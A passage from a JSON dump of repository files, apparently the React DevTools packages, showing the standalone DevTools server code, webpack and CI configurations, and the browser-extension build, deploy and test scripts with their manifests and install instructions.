listeners.indexOf(fn);\n        if (index >= 0) {\n          listeners.splice(index, 1);\n        }\n      };\n    },\n    send(event: string, payload: any, transferable?: Array<any>) {\n      if (socket.readyState === socket.OPEN) {\n        socket.send(JSON.stringify({event, payload}));\n      }\n    },\n  });\n  ((bridge: any): FrontendBridge).addListener('shutdown', () => {\n    socket.close();\n  });\n\n  // $FlowFixMe[incompatible-call] found when upgrading Flow\n  store = new Store(bridge, {\n    checkBridgeProtocolCompatibility: true,\n    supportsTraceUpdates: true,\n    supportsClickToInspect: true,\n  });\n\n  log('Connected');\n  statusListener('DevTools initialized.', 'devtools-connected');\n  reload();\n}\n\nlet startServerTimeoutID: TimeoutID | null = null;\n\nfunction connectToSocket(socket: WebSocket): {close(): void} {\n  socket.onerror = err => {\n    onDisconnected();\n    log.error('Error with websocket connection', err);\n  };\n  socket.onclose = () => {\n    onDisconnected();\n    log('Connection to RN closed');\n  };\n  initialize(socket);\n\n  return {\n    close: function () {\n      onDisconnected();\n    },\n  };\n}\n\ntype ServerOptions = {\n  key?: string,\n  cert?: string,\n};\n\ntype LoggerOptions = {\n  surface?: ?string,\n};\n\ntype ClientOptions = {\n  host?: string,\n  port?: number,\n  useHttps?: boolean,\n};\n\nfunction startServer(\n  port: number = 8097,\n  host: string = 'localhost',\n  httpsOptions?: ServerOptions,\n  loggerOptions?: LoggerOptions,\n  path?: string,\n  clientOptions?: ClientOptions,\n): {close(): void} {\n  registerDevToolsEventLogger(loggerOptions?.surface ?? 'standalone');\n\n  const useHttps = !!httpsOptions;\n  const httpServer = useHttps\n    ? require('https').createServer(httpsOptions)\n    : require('http').createServer();\n  const server = new Server({server: httpServer, maxPayload: 1e9});\n  let connected: WebSocket | null = null;\n  server.on('connection', (socket: WebSocket) => {\n    if (connected !== null) {\n      connected.close();\n      log.warn(\n        'Only one connection allowed at a time.',\n        'Closing the previous connection',\n      );\n    }\n    connected = socket;\n    socket.onerror = error => {\n      connected = null;\n      onDisconnected();\n      log.error('Error with websocket connection', error);\n    };\n    socket.onclose = () => {\n      connected = null;\n      onDisconnected();\n      log('Connection to RN closed');\n    };\n    initialize(socket);\n  });\n\n  server.on('error', (event: $FlowFixMe) => {\n    onError(event);\n    log.error('Failed to start the DevTools server', event);\n    startServerTimeoutID = setTimeout(\n      () =>\n        startServer(\n          port,\n          host,\n          httpsOptions,\n          loggerOptions,\n          path,\n          clientOptions,\n        ),\n      1000,\n    );\n  });\n\n  httpServer.on('request', (request: $FlowFixMe, response: $FlowFixMe) => {\n    // Serve a file that immediately sets up the connection.\n    const backendFile = readFileSync(join(__dirname, 'backend.js'));\n\n    // The renderer interface doesn't read saved component filters directly,\n    // because they are generally stored in localStorage within the context of the extension.\n    // Because of this it relies on the extension to pass filters, so include them wth the response here.\n    // This will ensure that saved filters are shared across different web pages.\n    const componentFiltersString = JSON.stringify(getSavedComponentFilters());\n\n    // Client overrides: when connecting through a reverse proxy, the client\n    // may need to connect to a different host/port/protocol than the server.\n    const clientHost = clientOptions?.host ?? host;\n    const clientPort = clientOptions?.port ?? port;\n    const clientUseHttps = clientOptions?.useHttps ?? useHttps;\n\n    response.end(\n      backendFile.toString() +\n        '\\n;' +\n        `var ReactDevToolsBackend = typeof ReactDevToolsBackend !== \"undefined\" ? ReactDevToolsBackend : require(\"ReactDevToolsBackend\");\\n` +\n        `ReactDevToolsBackend.initialize(undefined, undefined, undefined, ${componentFiltersString});` +\n        '\\n' +\n        `ReactDevToolsBackend.connectToDevTools({port: ${clientPort}, host: '${clientHost}', useHttps: ${\n          clientUseHttps ? 'true' : 'false'\n        }${path != null ? `, path: '${path}'` : ''}});\n        `,\n    );\n  });\n\n  httpServer.on('error', (event: $FlowFixMe) => {\n    onError(event);\n    statusListener('Failed to start the server.', 'error');\n    startServerTimeoutID = setTimeout(\n      () =>\n        startServer(\n          port,\n          host,\n          httpsOptions,\n          loggerOptions,\n          path,\n          clientOptions,\n        ),\n      1000,\n    );\n  });\n\n  httpServer.listen(port, () => {\n    statusListener(\n      'The server is listening on the port ' + port + '.',\n      'server-connected',\n    );\n  });\n\n  return {\n    close: function () {\n      connected = null;\n      onDisconnected();\n      if (startServerTimeoutID !== null) {\n        clearTimeout(startServerTimeoutID);\n      }\n      server.close();\n      httpServer.close();\n    },\n  };\n}\n\nconst DevtoolsUI = {\n  connectToSocket,\n  setContentDOMNode,\n  setProjectRoots,\n  setStatusListener,\n  setDisconnectedCallback,\n  startServer,\n  openProfiler,\n};\n\nexport default DevtoolsUI;\n"
  },
  {
    "path": "packages/react-devtools-core/standalone.js",
    "content": "module.exports = require('./dist/standalone');\n"
  },
  {
    "path": "packages/react-devtools-core/webpack.backend.js",
    "content": "const {resolve} = require('path');\nconst Webpack = require('webpack');\nconst {\n  GITHUB_URL,\n  getVersionString,\n} = require('react-devtools-extensions/utils');\nconst {resolveFeatureFlags} = require('react-devtools-shared/buildUtils');\n\nconst NODE_ENV = process.env.NODE_ENV;\nif (!NODE_ENV) {\n  console.error('NODE_ENV not set');\n  process.exit(1);\n}\n\nconst builtModulesDir = resolve(\n  __dirname,\n  '..',\n  '..',\n  'build',\n  'oss-experimental',\n);\n\nconst __DEV__ = NODE_ENV === 'development';\n\nconst DEVTOOLS_VERSION = getVersionString();\n\nconst featureFlagTarget = process.env.FEATURE_FLAG_TARGET || 'core/backend-oss';\n\n// This targets RN/Hermes.\nprocess.env.BABEL_CONFIG_ADDITIONAL_TARGETS = JSON.stringify({\n  ie: '11',\n});\n\nmodule.exports = {\n  mode: __DEV__ ? 'development' : 'production',\n  devtool: __DEV__ ? 'eval-cheap-module-source-map' : 'source-map',\n  entry: {\n    backend: './src/backend.js',\n  },\n  output: {\n    path: __dirname + '/dist',\n    filename: '[name].js',\n\n    // This name is important; standalone references it in order to connect.\n    library: 'ReactDevToolsBackend',\n    libraryTarget: 'umd',\n    umdNamedDefine: true,\n  },\n  resolve: {\n    alias: {\n      react: resolve(builtModulesDir, 'react'),\n      'react-debug-tools': resolve(builtModulesDir, 'react-debug-tools'),\n      'react-devtools-feature-flags': resolveFeatureFlags(featureFlagTarget),\n      'react-dom': resolve(builtModulesDir, 'react-dom'),\n      'react-is': resolve(builtModulesDir, 'react-is'),\n      scheduler: resolve(builtModulesDir, 'scheduler'),\n    },\n  },\n  node: {\n    global: false,\n  },\n  plugins: [\n    new Webpack.ProvidePlugin({\n      process: 'process/browser',\n    }),\n    new Webpack.DefinePlugin({\n      __DEV__,\n      __EXPERIMENTAL__: true,\n      __EXTENSION__: false,\n      __PROFILE__: false,\n      __TEST__: NODE_ENV === 'test',\n      __IS_FIREFOX__: false,\n      __IS_CHROME__: false,\n      __IS_EDGE__: false,\n      __IS_NATIVE__: true,\n      'process.env.DEVTOOLS_PACKAGE': `\"react-devtools-core\"`,\n      'process.env.DEVTOOLS_VERSION': `\"${DEVTOOLS_VERSION}\"`,\n      'process.env.GITHUB_URL': `\"${GITHUB_URL}\"`,\n    }),\n  ],\n  optimization: {\n    minimize: false,\n  },\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        loader: 'babel-loader',\n        options: {\n          configFile: resolve(\n            __dirname,\n            '..',\n            'react-devtools-shared',\n            'babel.config.js',\n          ),\n        },\n      },\n    ],\n  },\n};\n"
  },
  {
    "path": "packages/react-devtools-core/webpack.standalone.js",
    "content": "const {resolve} = require('path');\nconst Webpack = require('webpack');\nconst {\n  GITHUB_URL,\n  getVersionString,\n} = require('react-devtools-extensions/utils');\nconst {resolveFeatureFlags} = require('react-devtools-shared/buildUtils');\n\nconst NODE_ENV = process.env.NODE_ENV;\nif (!NODE_ENV) {\n  console.error('NODE_ENV not set');\n  process.exit(1);\n}\n\nconst builtModulesDir = resolve(\n  __dirname,\n  '..',\n  '..',\n  'build',\n  'oss-experimental',\n);\n\nconst __DEV__ = NODE_ENV === 'development';\n\nconst DEVTOOLS_VERSION = getVersionString();\n\nconst EDITOR_URL = process.env.EDITOR_URL || null;\nconst LOGGING_URL = process.env.LOGGING_URL || null;\n\nconst featureFlagTarget =\n  process.env.FEATURE_FLAG_TARGET || 'core/standalone-oss';\n\nconst babelOptions = {\n  configFile: resolve(\n    __dirname,\n    '..',\n    'react-devtools-shared',\n    'babel.config.js',\n  ),\n};\n\nmodule.exports = {\n  mode: __DEV__ ? 'development' : 'production',\n  devtool: __DEV__ ? 'eval-cheap-module-source-map' : 'source-map',\n  target: 'electron-main',\n  entry: {\n    standalone: './src/standalone.js',\n  },\n  output: {\n    path: __dirname + '/dist',\n    filename: '[name].js',\n    chunkFilename: '[name].chunk.js',\n    library: {\n      type: 'commonjs2',\n    },\n  },\n  externals: {\n    bufferutil: 'commonjs bufferutil',\n    'utf-8-validate': 'commonjs utf-8-validate',\n  },\n  resolve: {\n    alias: {\n      react: resolve(builtModulesDir, 'react'),\n      'react-debug-tools': resolve(builtModulesDir, 'react-debug-tools'),\n      'react-devtools-feature-flags': resolveFeatureFlags(featureFlagTarget),\n      'react-dom/client': resolve(builtModulesDir, 'react-dom/client'),\n      'react-dom': resolve(builtModulesDir, 'react-dom'),\n      'react-is': resolve(builtModulesDir, 'react-is'),\n      scheduler: resolve(builtModulesDir, 'scheduler'),\n    },\n  },\n  node: {\n    // Don't replace __dirname!\n    // This would break the standalone DevTools ability to load the backend.\n    // see https://github.com/facebook/react-devtools/issues/1269\n    __dirname: false,\n\n    global: false,\n  },\n  plugins: [\n    new Webpack.ProvidePlugin({\n      process: 'process/browser',\n    }),\n    new Webpack.DefinePlugin({\n      __DEV__,\n      __EXPERIMENTAL__: true,\n      __EXTENSION__: false,\n      __PROFILE__: false,\n      __TEST__: NODE_ENV === 'test',\n      __IS_NATIVE__: true,\n      __IS_FIREFOX__: false,\n      __IS_CHROME__: false,\n      __IS_EDGE__: false,\n      'process.env.DEVTOOLS_PACKAGE': `\"react-devtools-core\"`,\n      'process.env.DEVTOOLS_VERSION': `\"${DEVTOOLS_VERSION}\"`,\n      'process.env.EDITOR_URL': EDITOR_URL != null ? `\"${EDITOR_URL}\"` : null,\n      'process.env.GITHUB_URL': `\"${GITHUB_URL}\"`,\n      'process.env.LOGGING_URL': `\"${LOGGING_URL}\"`,\n      'process.env.NODE_ENV': `\"${NODE_ENV}\"`,\n    }),\n  ],\n  module: {\n    rules: [\n      {\n        test: /\\.worker\\.js$/,\n        use: [\n          {\n            loader: 'workerize-loader',\n            options: {\n              // Workers would have to be exposed on a public path in order to outline them.\n              inline: true,\n              name: '[name]',\n            },\n          },\n          {\n            loader: 'babel-loader',\n            options: babelOptions,\n          },\n        ],\n      },\n      {\n        test: /\\.js$/,\n        loader: 'babel-loader',\n        options: babelOptions,\n      },\n      {\n        test: /\\.css$/,\n        use: [\n          {\n            loader: 'style-loader',\n          },\n          {\n            loader: 'css-loader',\n            options: {\n              // WARNING It's important that we disable CSS source maps for production builds.\n              // This causes style-loader to insert styles via a <style> tag rather than URL.createObjectURL,\n              // which in turn avoids a nasty Electron/Chromium bug that breaks DevTools in Nuclide.\n              // (Calls to URL.createObjectURL seem to crash the webview process.)\n              sourceMap: __DEV__,\n              modules: true,\n              localIdentName: '[local]___[hash:base64:5]',\n            },\n          },\n        ],\n      },\n    ],\n  },\n};\n"
  },
  {
    "path": "packages/react-devtools-extensions/.circleci/config.yml",
    "content": "# Javascript Node CircleCI 2.0 configuration file\n#\n# Check https://circleci.com/docs/2.0/language-javascript/ for more details\n#\nversion: 2\njobs:\n  build:\n    docker:\n      # specify the version you desire here\n      - image: circleci/node:10.12.0\n\n      # Specify service dependencies here if necessary\n      # CircleCI maintains a library of pre-built images\n      # documented at https://circleci.com/docs/2.0/circleci-images/\n      # - image: circleci/mongo:3.4.4\n\n    working_directory: ~/repo\n\n    steps:\n      - checkout\n\n      # Download and cache dependencies\n      - restore_cache:\n          name: Restore node_modules cache\n          keys:\n            - v1-node-{{ arch }}-{{ .Branch }}-{{ checksum \"yarn.lock\" }}\n            - v1-node-{{ arch }}-{{ .Branch }}-\n            - v1-node-{{ arch }}-\n\n      - run:\n          name: Nodejs Version\n          command: node --version\n\n      - run:\n          name: Install Packages\n          command: yarn install --frozen-lockfile\n\n      - save_cache:\n          name: Save node_modules cache\n          key: v1-node-{{ arch }}-{{ .Branch }}-{{ checksum \"yarn.lock\" }}\n          paths:\n            - node_modules\n\n      - run:\n          name: Check formatting\n          command: yarn prettier:ci\n\n      - run:\n          name: Check lint\n          command: yarn lint:ci\n\n      - run:\n          name: Check Flow\n          command: yarn flow\n\n      - run:\n          name: Test Packages\n          command: yarn test"
  },
  {
    "path": "packages/react-devtools-extensions/README.md",
    "content": "This is the source code for the React DevTools browser extension.\n\n## Installation\n\nThe easiest way to install this extension is as a browser add-on:\n* [Chrome web store](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=en)\n* [Firefox Add-ons](https://addons.mozilla.org/en-US/firefox/addon/react-devtools/)\n* [Edge Add-ons](https://microsoftedge.microsoft.com/addons/detail/react-developer-tools/gpphkfbcpidddadnkolkpfckpihlkkil)\n\n## Local development\nYou can also build and install this extension from source.\n\n### Prerequisite steps\nDevTools depends on local versions of several NPM packages<sup>1</sup> also in this workspace. You'll need to either build or download those packages first.\n\n<sup>1</sup> Note that at this time, an _experimental_ build is required because DevTools depends on the `createRoot` API.\n\nTo install all necessary dependencies, run the following command from the root of the repository:\n\n```sh\nyarn install\n```\n\n#### Build from source\nTo build dependencies from source, run the following command from the root of the repository:\n```sh\nyarn build-for-devtools\n```\n#### Download from CI\nTo use the latest build from CI, run the following commands starting from the root of the repository:\n```sh\ncd scripts/release\nyarn install\n./download-experimental-build.js\n```\n### Build steps\nOnce the above packages have been built or downloaded, you can build the extension by running:\n```sh\ncd packages/react-devtools-extensions/\n\nyarn build:chrome # => packages/react-devtools-extensions/chrome/build\nyarn run test:chrome # Test Chrome extension\n\nyarn build:firefox # => packages/react-devtools-extensions/firefox/build\nyarn run test:firefox # Test Firefox extension\n\nyarn build:edge # => packages/react-devtools-extensions/edge/build\nyarn run test:edge # Test Edge extension\n```\n"
  },
  {
    "path": "packages/react-devtools-extensions/build.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst archiver = require('archiver');\nconst {execSync} = require('child_process');\nconst {readFileSync, writeFileSync, createWriteStream} = require('fs');\nconst {copy, ensureDir, move, remove, pathExistsSync} = require('fs-extra');\nconst {join, resolve, basename} = require('path');\nconst {getGitCommit} = require('./utils');\n\n// These files are copied along with Webpack-bundled files\n// to produce the final web extension\nconst STATIC_FILES = ['icons', 'popups', 'main.html', 'panel.html'];\n\n/**\n * Ensures that a local build of the dependencies exist either by downloading\n * or running a local build via one of the `react-build-fordevtools*` scripts.\n */\nconst ensureLocalBuild = async () => {\n  const buildDir = resolve(__dirname, '..', '..', 'build');\n  const nodeModulesDir = join(buildDir, 'node_modules');\n\n  // TODO: remove this check whenever the CI pipeline is complete.\n  // See build-all-release-channels.js\n  const currentBuildDir = resolve(\n    __dirname,\n    '..',\n    '..',\n    'build',\n    'oss-experimental',\n  );\n\n  if (pathExistsSync(buildDir)) {\n    return; // all good.\n  }\n\n  if (pathExistsSync(currentBuildDir)) {\n    await ensureDir(buildDir);\n    await copy(currentBuildDir, nodeModulesDir);\n    return; // all good.\n  }\n\n  throw Error(\n    'Could not find build artifacts in repo root. See README for prerequisites.',\n  );\n};\n\nconst preProcess = async (destinationPath, tempPath) => {\n  await remove(destinationPath); // Clean up from previously completed builds\n  await remove(tempPath); // Clean up from any previously failed builds\n  await ensureDir(tempPath); // Create temp dir for this new build\n};\n\nconst build = async (tempPath, manifestPath, envExtension = {}) => {\n  const binPath = join(tempPath, 'bin');\n  const zipPath = join(tempPath, 'zip');\n  const mergedEnv = {...process.env, ...envExtension};\n\n  const webpackPath = join(__dirname, 'node_modules', '.bin', 'webpack');\n  execSync(\n    `${webpackPath} --config webpack.config.js --output-path ${binPath}`,\n    {\n      cwd: __dirname,\n      env: mergedEnv,\n      stdio: 'inherit',\n    },\n  );\n\n  // Make temp dir\n  await ensureDir(zipPath);\n\n  const copiedManifestPath = join(zipPath, 'manifest.json');\n\n  let webpackStatsFilePath = null;\n  // Copy unbuilt source files to zip dir to be packaged:\n  await copy(binPath, join(zipPath, 'build'), {\n    filter: filePath => {\n      if (basename(filePath).startsWith('webpack-stats.')) {\n        webpackStatsFilePath = filePath;\n        // The ZIP is the actual extension and doesn't need this metadata.\n        return false;\n      }\n      return true;\n    },\n  });\n  if (webpackStatsFilePath !== null) {\n    await copy(\n      webpackStatsFilePath,\n      join(tempPath, basename(webpackStatsFilePath)),\n    );\n    webpackStatsFilePath = join(tempPath, basename(webpackStatsFilePath));\n  }\n  await copy(manifestPath, copiedManifestPath);\n  await Promise.all(\n    STATIC_FILES.map(file => copy(join(__dirname, file), join(zipPath, file))),\n  );\n\n  const commit = getGitCommit();\n  const dateString = new Date().toLocaleDateString();\n  const manifest = JSON.parse(readFileSync(copiedManifestPath).toString());\n  const versionDateString = `${manifest.version} (${dateString})`;\n  if (manifest.version_name) {\n    manifest.version_name = versionDateString;\n  }\n  manifest.description += `\\n\\nCreated from revision ${commit} on ${dateString}.`;\n\n  if (process.env.NODE_ENV === 'development') {\n    // When building the local development version of the\n    // extension we want to be able to have a stable extension ID\n    // for the local build (in order to be able to reliably detect\n    // duplicate installations of DevTools).\n    // By specifying a key in the built manifest.json file,\n    // we can make it so the generated extension ID is stable.\n    // For more details see the docs here: https://developer.chrome.com/docs/extensions/mv2/manifest/key/\n    manifest.key = 'reactdevtoolslocalbuilduniquekey';\n  }\n\n  writeFileSync(copiedManifestPath, JSON.stringify(manifest, null, 2));\n\n  // Pack the extension\n  const archive = archiver('zip', {zlib: {level: 9}});\n  const zipStream = createWriteStream(join(tempPath, 'ReactDevTools.zip'));\n  await new Promise((resolvePromise, rejectPromise) => {\n    archive\n      .directory(zipPath, false)\n      .on('error', err => rejectPromise(err))\n      .pipe(zipStream);\n    archive.finalize();\n    zipStream.on('close', () => resolvePromise());\n  });\n\n  return webpackStatsFilePath;\n};\n\nconst postProcess = async (tempPath, destinationPath, webpackStatsFilePath) => {\n  const unpackedSourcePath = join(tempPath, 'zip');\n  const packedSourcePath = join(tempPath, 'ReactDevTools.zip');\n  const packedDestPath = join(destinationPath, 'ReactDevTools.zip');\n  const unpackedDestPath = join(destinationPath, 'unpacked');\n\n  await move(unpackedSourcePath, unpackedDestPath); // Copy built files to destination\n  await move(packedSourcePath, packedDestPath); // Copy built files to destination\n  if (webpackStatsFilePath !== null) {\n    await move(\n      webpackStatsFilePath,\n      join(destinationPath, basename(webpackStatsFilePath)),\n    );\n  } else {\n    console.log('No webpack-stats.json file was generated.');\n  }\n  await remove(tempPath); // Clean up temp directory and files\n};\n\nconst SUPPORTED_BUILDS = ['chrome', 'firefox', 'edge'];\n\nconst main = async buildId => {\n  if (!SUPPORTED_BUILDS.includes(buildId)) {\n    throw new Error(\n      `Unexpected build id - \"${buildId}\". Use one of ${JSON.stringify(\n        SUPPORTED_BUILDS,\n      )}.`,\n    );\n  }\n\n  const root = join(__dirname, buildId);\n  const manifestPath = join(root, 'manifest.json');\n  const destinationPath = join(root, 'build');\n\n  const envExtension = {\n    IS_CHROME: buildId === 'chrome',\n    IS_FIREFOX: buildId === 'firefox',\n    IS_EDGE: buildId === 'edge',\n  };\n\n  try {\n    const tempPath = join(__dirname, 'build', buildId);\n    await ensureLocalBuild();\n    await preProcess(destinationPath, tempPath);\n    const webpackStatsFilePath = await build(\n      tempPath,\n      manifestPath,\n      envExtension,\n    );\n\n    const builtUnpackedPath = join(destinationPath, 'unpacked');\n    await postProcess(tempPath, destinationPath, webpackStatsFilePath);\n\n    return builtUnpackedPath;\n  } catch (error) {\n    console.error(error);\n    process.exit(1);\n  }\n\n  return null;\n};\n\nmodule.exports = main;\n"
  },
  {
    "path": "packages/react-devtools-extensions/chrome/README.md",
    "content": "# The Chrome extension\n\nThe source code for this extension has moved to `shells/webextension`.\n\nModify the source code there and then rebuild this extension by running `node build` from this directory or `yarn run build:extension:chrome` from the root directory.\n\n## Testing in Chrome\n\nYou can test a local build of the web extension like so:\n\n 1. Build the extension: `node build`\n 1. Follow the on-screen instructions.\n"
  },
  {
    "path": "packages/react-devtools-extensions/chrome/build.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst chalk = require('chalk');\nconst {execSync} = require('child_process');\nconst {existsSync} = require('fs');\nconst {isAbsolute, join, relative} = require('path');\nconst {argv} = require('yargs');\nconst build = require('../build');\n\nconst main = async () => {\n  const {crx, keyPath} = argv;\n\n  if (crx) {\n    if (!keyPath || !existsSync(keyPath)) {\n      console.error('Must specify a key file (.pem) to build CRX');\n      process.exit(1);\n    }\n  }\n\n  await build('chrome');\n\n  if (crx) {\n    const cwd = join(__dirname, 'build');\n\n    let safeKeyPath = keyPath;\n    if (!isAbsolute(keyPath)) {\n      safeKeyPath = join(relative(cwd, process.cwd()), keyPath);\n    }\n\n    const crxPath = join(\n      __dirname,\n      '..',\n      '..',\n      '..',\n      'node_modules',\n      '.bin',\n      'crx'\n    );\n\n    execSync(\n      `${crxPath} pack ./unpacked -o ReactDevTools.crx -p ${safeKeyPath}`,\n      {\n        cwd,\n      }\n    );\n  }\n\n  console.log(chalk.green('\\nThe Chrome extension has been built!'));\n  console.log(chalk.green('You can test this build by running:'));\n  console.log(chalk.gray('\\n# From the react-devtools root directory:'));\n  console.log('yarn run test:chrome');\n};\n\nmain();\n"
  },
  {
    "path": "packages/react-devtools-extensions/chrome/deploy.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst deploy = require('../deploy');\n\nconst main = async () => await deploy('chrome');\n\nmain();\n"
  },
  {
    "path": "packages/react-devtools-extensions/chrome/manifest.json",
    "content": "{\n  \"manifest_version\": 3,\n  \"name\": \"React Developer Tools\",\n  \"description\": \"Adds React debugging tools to the Chrome Developer Tools.\",\n  \"version\": \"7.0.1\",\n  \"version_name\": \"7.0.1\",\n  \"minimum_chrome_version\": \"114\",\n  \"icons\": {\n    \"16\": \"icons/16-production.png\",\n    \"32\": \"icons/32-production.png\",\n    \"48\": \"icons/48-production.png\",\n    \"128\": \"icons/128-production.png\"\n  },\n  \"action\": {\n    \"default_icon\": {\n      \"16\": \"icons/16-disabled.png\",\n      \"32\": \"icons/32-disabled.png\",\n      \"48\": \"icons/48-disabled.png\",\n      \"128\": \"icons/128-disabled.png\"\n    },\n    \"default_popup\": \"popups/disabled.html\"\n  },\n  \"devtools_page\": \"main.html\",\n  \"content_security_policy\": {\n    \"extension_pages\": \"script-src 'self'; object-src 'self'\"\n  },\n  \"web_accessible_resources\": [\n    {\n      \"resources\": [\n        \"main.html\",\n        \"panel.html\",\n        \"build/*.js\"\n      ],\n      \"matches\": [\n        \"<all_urls>\"\n      ],\n      \"extension_ids\": []\n    }\n  ],\n  \"background\": {\n    \"service_worker\": \"build/background.js\"\n  },\n  \"permissions\": [\n    \"scripting\",\n    \"storage\",\n    \"tabs\"\n  ],\n  \"optional_permissions\": [\n    \"clipboardWrite\"\n  ],\n  \"host_permissions\": [\n    \"<all_urls>\"\n  ],\n  \"content_scripts\": [\n    {\n      \"matches\": [\n        \"<all_urls>\"\n      ],\n      \"js\": [\n        \"build/prepareInjection.js\"\n      ],\n      \"run_at\": \"document_start\"\n    }\n  ]\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/chrome/now.json",
    "content": "{\n  \"name\": \"react-devtools-experimental-chrome\",\n  \"alias\": [\"react-devtools-experimental-chrome\"],\n  \"files\": [\"index.html\", \"ReactDevTools.zip\"]\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/chrome/test.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst chromeLaunch = require('chrome-launch');\nconst {resolve} = require('path');\nconst {argv} = require('yargs');\n\nconst EXTENSION_PATH = resolve('./chrome/build/unpacked');\nconst START_URL = argv.url || 'https://react.dev/';\n\nchromeLaunch(START_URL, {\n  args: [\n    // Load the React DevTools extension\n    `--load-extension=${EXTENSION_PATH}`,\n\n    // Automatically open DevTools window\n    '--auto-open-devtools-for-tabs',\n\n    // Remembers previous session settings (e.g. DevTools size/position)\n    '--user-data-dir=./.tempUserDataDir',\n  ],\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/deploy.chrome.html",
    "content": "<ol>\n  <li><a href=\"ReactDevTools.zip\">download extension</a></li>\n  <li>Double-click to extract</li>\n  <li>Navigate to <code>chrome://extensions/</code></li>\n  <li>Enable \"Developer mode\"</li>\n  <li>Click \"LOAD UNPACKED\"</li>\n  <li>Select extracted extension folder (<code>ReactDevTools</code>)</li>\n</ol>"
  },
  {
    "path": "packages/react-devtools-extensions/deploy.edge.html",
    "content": "<ol>\n  <li><a href=\"ReactDevTools.zip\">download extension</a></li>\n  <li>Double-click to extract</li>\n  <li>Navigate to <code>edge://extensions/</code></li>\n  <li>Enable \"Developer mode\"</li>\n  <li>Click \"LOAD UNPACKED\"</li>\n  <li>Select extracted extension folder (<code>ReactDevTools</code>)</li>\n</ol>"
  },
  {
    "path": "packages/react-devtools-extensions/deploy.firefox.html",
    "content": "<ol>\n  <li><a href=\"ReactDevTools.zip\">download extension</a></li>\n  <li>Extract/unzip</li>\n  <li>Visit <code>about:debugging</code></li>\n  <li>Click \"Load Temporary Add-on\"</li>\n  <li>Select the <code>manifest.json</code> file inside of the extracted extension folder (<code>ReactDevTools</code>)</li>\n</ol>"
  },
  {
    "path": "packages/react-devtools-extensions/deploy.html",
    "content": "<html>\n<head>\n  <meta charset=\"utf8\">\n  <title>React DevTools pre-release</title>\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <style>\n    body {\n      font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial,\n        sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;\n      font-size: 14px;\n    }\n  </style>\n</head>\n<body>\n  <h1>\n    React DevTools pre-release\n  </h1>\n\n  <h3>\n    Created on <strong>%date%</strong> from\n    <a href=\"https://github.com/facebook/react/commit/%commit%\"><code>%commit%</code></a>\n  </h3>\n\n  <p>\n    This is a preview build of the <a href=\"https://github.com/facebook/react\">React DevTools extension</a>.\n  </p>\n\n  <h2>Installation instructions</h2>\n  %installation%\n  <p>\n    If you already have the React DevTools extension installed, you will need to temporarily disable or remove it in order to install this prerelease build.\n  </p>\n\n  <h2>Bug reports</h2>\n  <p>\n    Please report bugs as <a href=\"https://github.com/facebook/react/issues/new?labels=Component:%20Developer%20Tools\">GitHub issues</a>.\n    Please include all of the info required to reproduce the bug (e.g. links, code, instructions).\n  </p>\n</body>\n</html>\n"
  },
  {
    "path": "packages/react-devtools-extensions/deploy.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {exec, execSync} = require('child_process');\nconst {readFileSync, writeFileSync} = require('fs');\nconst {join} = require('path');\nconst shell = require('shelljs');\nconst main = async buildId => {\n  const root = join(__dirname, buildId);\n  const buildPath = join(root, 'build');\n\n  execSync(`node ${join(root, './build')}`, {\n    cwd: __dirname,\n    env: {\n      ...process.env,\n      NODE_ENV: 'production',\n    },\n    stdio: 'inherit',\n  });\n  shell.cp(join(root, 'now.json'), join(buildPath, 'now.json'));\n  const file = readFileSync(join(root, 'now.json'));\n  const json = JSON.parse(file);\n  const alias = json.alias[0];\n\n  const commit = execSync('git rev-parse HEAD').toString().trim().slice(0, 7);\n\n  let date = new Date();\n  date = `${date.toLocaleDateString()} – ${date.toLocaleTimeString()}`;\n\n  const installationInstructions =\n    buildId === 'chrome'\n      ? readFileSync(join(__dirname, 'deploy.chrome.html'))\n      : readFileSync(join(__dirname, 'deploy.firefox.html'));\n\n  let html = readFileSync(join(__dirname, 'deploy.html')).toString();\n  html = html.replace(/%commit%/g, commit);\n  html = html.replace(/%date%/g, date);\n  html = html.replace(/%installation%/, installationInstructions);\n\n  writeFileSync(join(buildPath, 'index.html'), html);\n\n  await exec(`now deploy && now alias ${alias}`, {\n    cwd: buildPath,\n    stdio: 'inherit',\n  });\n\n  console.log(`Deployed to https://${alias}.now.sh`);\n};\n\nmodule.exports = main;\n"
  },
  {
    "path": "packages/react-devtools-extensions/edge/README.md",
    "content": "# The Microsoft Edge extension\n\nThe source code for this extension has moved to `shells/webextension`.\n\nModify the source code there and then rebuild this extension by running `node build` from this directory or `yarn run build:extension:edge` from the root directory.\n\n## Testing in Microsoft Edge\n\nYou can test a local build of the web extension like so:\n\n 1. Build the extension: `node build`\n 1. Follow the on-screen instructions.\n"
  },
  {
    "path": "packages/react-devtools-extensions/edge/build.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst chalk = require('chalk');\nconst {execSync} = require('child_process');\nconst {join} = require('path');\nconst {argv} = require('yargs');\n\nconst build = require('../build');\n\nconst main = async () => {\n  const {crx} = argv;\n\n  await build('edge');\n\n  const cwd = join(__dirname, 'build');\n  if (crx) {\n    const crxPath = join(__dirname, '..', 'node_modules', '.bin', 'crx');\n\n    execSync(`${crxPath} pack ./unpacked -o ReactDevTools.crx`, {\n      cwd,\n    });\n  }\n\n  console.log(chalk.green('\\nThe Microsoft Edge extension has been built!'));\n\n  console.log(chalk.green('\\nTo load this extension:'));\n  console.log(chalk.yellow('Navigate to edge://extensions/'));\n  console.log(chalk.yellow('Enable \"Developer mode\"'));\n  console.log(chalk.yellow('Click \"LOAD UNPACKED\"'));\n  console.log(chalk.yellow('Select extension folder - ' + cwd + '\\\\unpacked'));\n\n  console.log(chalk.green('\\nYou can test this build by running:'));\n  console.log(chalk.gray('\\n# From the react-devtools root directory:'));\n  console.log('yarn run test:edge\\n');\n};\n\nmain();\n"
  },
  {
